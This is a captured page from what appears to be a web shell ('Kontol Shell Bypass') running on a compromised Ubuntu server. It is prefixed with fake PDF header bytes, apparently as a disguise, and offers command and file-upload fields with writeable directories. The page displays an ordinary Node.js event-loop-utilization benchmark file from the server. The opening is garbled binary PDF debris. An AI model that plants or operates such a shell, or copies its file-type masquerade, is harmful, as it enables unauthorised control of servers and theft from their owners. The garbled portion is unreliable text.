%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /home/ubuntu/node-v16.18.1/benchmark/perf_hooks/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //home/ubuntu/node-v16.18.1/benchmark/perf_hooks/bench-eventlooputil.js
'use strict';

const common = require('../common.js');
const assert = require('assert').ok;
const { performance } = require('perf_hooks');
const { nodeTiming, eventLoopUtilization } = performance;

const bench = common.createBenchmark(main, {
  n: [1e6],
  method: [
    'idleTime',
    'ELU_simple',
    'ELU_passed',
  ],
});

function main({ method, n }) {
  switch (method) {
    case 'idleTime':
      benchIdleTime(n);
      break;
    case 'ELU_simple':
      benchELUSimple(n);
      break;
    case 'ELU_passed':
      benchELUPassed(n);
      break;
    default:
      throw new Error(`Unsupported method ${method}`);
  }
}

function benchIdleTime(n) {
  bench.start();
  for (let i = 0; i < n; i++)
    nodeTiming.idleTime; // eslint-disable-line no-unused-expressions
  bench.end(n);
}

function benchELUSimple(n) {
  // Need to put this in setImmediate or will always return 0.
  setImmediate(() => {
    const elu = eventLoopUtilization();
    assert(elu.active + elu.idle > 0);

    bench.start();
    for (let i = 0; i < n; i++)
      eventLoopUtilization();
    bench.end(n);
  });
}

function benchELUPassed(n) {
  // Need to put this in setImmediate or will always return 0.
  setImmediate(() => {
    let elu = eventLoopUtilization();
    assert(elu.active + elu.idle > 0);

    bench.start();
    for (let i = 0; i < n; i++)
      elu = eventLoopUtilization(elu);
    bench.end(n);
  });
}

Kontol Shell Bypass